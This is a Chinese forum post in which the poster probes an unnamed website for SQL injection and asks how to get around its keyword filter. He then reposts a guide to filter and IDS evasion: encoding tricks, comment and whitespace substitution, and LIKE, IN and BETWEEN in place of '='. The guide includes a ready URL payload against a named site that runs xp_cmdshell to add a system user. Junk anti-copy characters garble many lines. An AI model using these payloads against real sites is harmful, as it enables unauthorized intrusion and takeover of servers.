路过这个网站,检测了一下.
, w! t0 p" y* }6 E D+ s+ g0 xhttp://www.xxx.cn/Article.asp?ID=117 and 1=1; @& C: A9 H' Q! B& \
直接返回主页
7 A, p+ \$ r2 Q# lhttp://www.xxx.cn/Article.asp?ID=117 or 1=1- B6 N% |9 q6 t) M1 ^2 z( Z
直接返回主页
( j! g8 L3 T$ u' uhttp://www.xxx.cn/Article.asp?ID=117 or
* d/ }1 g, M# t) \! f7 Z1 V没有返回主页 没有过滤or
@/ z2 i! `1 K& T' k7 vhttp://www.xxx.cn/Article.asp?ID=117 and
# B6 \2 G+ O2 n直接返回主页 看来过滤了and
9 O. H0 w+ ?$ t- \3 } ahttp://www.xxx.cn/Article.asp?ID=117 or 11 S/ o: S8 R( G ^
没有返回主页 即没有过滤or 也没有过滤1
3 \& f) }4 A2 L6 lhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
$ R& ^8 @- s0 X1 M# r& X直接返回主页 很明显过滤了等号
2 I7 {$ z% @' s( F" T$ B7 For的特性是与and相反的.
6 t' m8 W$ b8 [( C0 i7 G+ Zor 1=1 爆错 或与原页面不同
: s! s' a6 P \5 m1 Hor 1=2 原页面相同8 |1 \1 z% D4 k
这样就是一个注入点
W9 {5 P+ M- A& P( N但他过滤了=号 我就用><号代替=号吧!" |; ` q3 [! C4 \/ H) s" n3 p
or 1<2 很明显是正确的,所以应该与原页面不同# \$ [' P$ A2 r* x q
or 1>2 很明显是错误的,所以应该与原页面相同
5 V+ {9 J9 h6 M- G# l6 {6 o然后看看有没有过滤其他的查询语句,比如select.
a. [# W' ?: f! j! Yhttp://www.xxx.cn/Article.asp?ID=117 select
' R) F6 r: c8 v, S直接返回主页
9 o- W7 d* D& r% f. ~' A又迷茫了..0 ^- c" ]: q2 h2 r* B+ Z
) _3 I8 H1 M O* z$ g5 h8 r- w: n l
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗/ j$ w8 _9 S* O( ]' [. e0 L
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
5 L% A4 n$ r+ L- {* o================================================
' G! g0 p2 _, S5 |; m. H# i$ Z2 @% `以下是转贴:( r, N. E) D. ^" [3 _2 @9 G
: X! J/ k( c8 t5 _. ^4 S
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 7 n+ i% G# S# F
经过我的收集,大部分的防注入程序都过滤了以下关键字:
" g2 E8 r5 T& H4 {and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 0 Q; N2 }! ] {
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
+ _0 g9 Z- S3 p8 }4 t, i' u* x1 x对于关键字的过滤,以下是我收集的以及我个人的一些想法。
0 c4 {* ^# S3 \5 T4 k2 s9 w1、运用编码技术绕过
) G3 B" \6 N+ \1 |6 t8 w4 [如URLEncode编码,ASCII编码绕过。例如or 1=1即
+ N; H E7 F; Q$ V6 T3 h' E%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ! I- t6 f4 q+ p) f3 A4 z/ ]
W: \- |+ G2 ^) V0 @2、通过空格绕过
, h7 b# L3 ^# V" D) n. P+ [+ u如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 0 v1 \$ C: j$ ?. \
or’ swords’ =‘swords’
! a; }6 m; w, e,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 * Q( E3 |# I* g. k' n1 d
3、运用字符串判断代替 l4 {$ [: v6 O
用经典的or 1=1判断绕过,如 c* v) G% A, |" B, b h. O
or ’swords’ =’swords’ . M0 }5 X- G0 X
,这个方法就是网上在讨论的。
. Z2 _, c9 L/ V. y! Y- \4、通过类型转换修饰符N绕过
4 j3 V; I& j- x; i$ q& x) W可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 * ~+ Q3 t0 m) g* c" Y @: T. r4 I
5、通过+号拆解字符串绕过 + j; w3 q& G9 _2 ]3 r' F& m7 f
效果值得考证,但毕竟是一种方法。如 * d" Y, W7 {; |+ I4 K
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) ! \7 j8 N' |8 Q- L; T2 F- l* M0 N! q
$ A8 w# ]1 u a& M+ i7 S3 g4 D6、通过LIKE绕过
: e+ }$ g( n o, P* c$ N' E# w! X以前怎么就没想到呢?如or 9 k. \' F6 @6 b9 G# Z7 _& g
’swords’ LIKE ’sw’
" m: _- `( |8 Q! j9 _!!!显然可以很轻松的绕过
% t/ M. C( S$ E. Y$ R“=”“>”
' w& k5 H: \7 p/ j- d/ I4 g的限制……
: O1 p# f3 s: L* u4 n- S9 K3 X1 v7、通过IN绕过 / W* _( L! z' f
与上面的LIKE的思路差不多,如 : P5 S4 |! L! ]0 W# `& R8 T
or ’swords’ IN (’swords’) 5 W4 E" k! z) ~. Z# |* c
2 C5 \- C9 H) M; t/ a8、通过BETWEEN绕过 ! g* {& W$ J; J! c: Y
如
! P( }4 O. Y; zor ’swords’ BETWEEN ’rw’ AND ’tw’
4 c9 x2 g% U5 T+ v6 x' g! h! m: ?& S/ P) k0 ?/ e% ]5 r$ [
9、通过>或者<绕过
; a- y3 ]) [* t9 l/ ^or ’swords’ > ’sw’
$ l6 }4 c( j# K! o: T8 `or ’swords’ < ’tw’
- s4 [- l7 b$ y5 [) e+ j' mor 1<3
) R1 z3 i; x5 {9 c5 G…… ! J2 M3 K% s( S5 N* \* C( w4 d& i
10、运用注释语句绕过
$ j- u* A t4 v: Y" C2 |用/**/代替空格,如: , r& T8 S& a) Q- i+ l
UNION /**/ Select /**/user,pwd,from tbluser ' w1 }" }$ J5 s
, H* \8 s2 _; E( ]4 g6 z. t* K+ {: Z用/**/分割敏感词,如:
: [/ }9 k9 f d9 e7 M8 wU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
1 B' M/ p! A4 l5 ~: |2 c+ E" b6 I8 T3 [ U
11、用HEX绕过,一般的IDS都无法检测出来 3 R( P7 X7 P) h/ X7 q
0x730079007300610064006D0069006E00 =hex(sysadmin)
* v( B- Z# E! N( b5 U9 \+ Q. ^. g0x640062005F006F0077006E0065007200 =hex(db_owner)
* G" S' Q0 Q8 R# d另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
7 `3 A: [2 S' O. H, l6 s declare @a sysname ! v" t u$ j5 i% l$ {
select @a=
+ {* r/ _& o) Y8 i; V; E2 G8 C exec master.dbo.xp_cmdshell @a
. N. x# g. y+ p" B效果
, Z0 E' }% V' w rhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- & A4 Z* G, l5 \( n b
1 V7 j' Q7 O( N0 u1 n" c% w. S其中的 ' V4 r' l$ U, K# A7 e
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 , D1 J+ q1 z1 H+ |* `! x
就是 $ s* | L/ j5 p
“net user angel pass /add”& \9 A& Q% r3 H0 I0 \
( D% }: _- b( d% v/ ^" [4 Z2 y
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
1 e, q! n8 K9 R: \ s引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。% O1 n% h4 B0 }: {6 m) x; w
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似( W' R) ?5 d5 g, X# @
Copy code
/ r0 ]) C" [' C: f4 Bselect * from table exec xp_cmdshell'xxxxxxxxxx'' q4 q/ x7 T( x' L
) ]5 J7 I0 P9 G. K; f2 `7 b3 s
0 X0 t0 J! r9 F" Wselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'2 n% _9 @5 H8 @; [
; v. w8 d3 }( D5 @! @7 _( V, @
) S2 {; e; c5 |% g$ }, f; c% I
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx' F! s" _: e* g! L$ R
; @. u; d4 o. P% L, T' S; g+ }2 Y8 C, {5 k; E* W+ C
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'# n8 d" ?0 C Q! _/ a
' w* J: m/ h: {+ X的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
3 H0 `, o% o( h H1 Z" b# ~5 m1 s+ `7 D( q. H
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了( q% l0 O+ k# s/ A& ]) o
可能大家早就知道了,不管怎么说,发在这里吧!: y# R& f4 A6 u0 e% K) t1 I
& W2 \, k( q9 y/ l
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。" Z- P1 X' s* B- ^& Y1 b
8 K* a. L! G$ d5 d; E
# z: a7 G: u3 x- Q+ I7 P
s' ^: h7 v3 G: L5 u% y, { |# E对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,+ J, C7 D7 }- s! O) l7 N
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? : L4 A4 O$ u3 e; | ^/ E9 [
, J! |* r4 U, K6 v% n/ {! G: {
|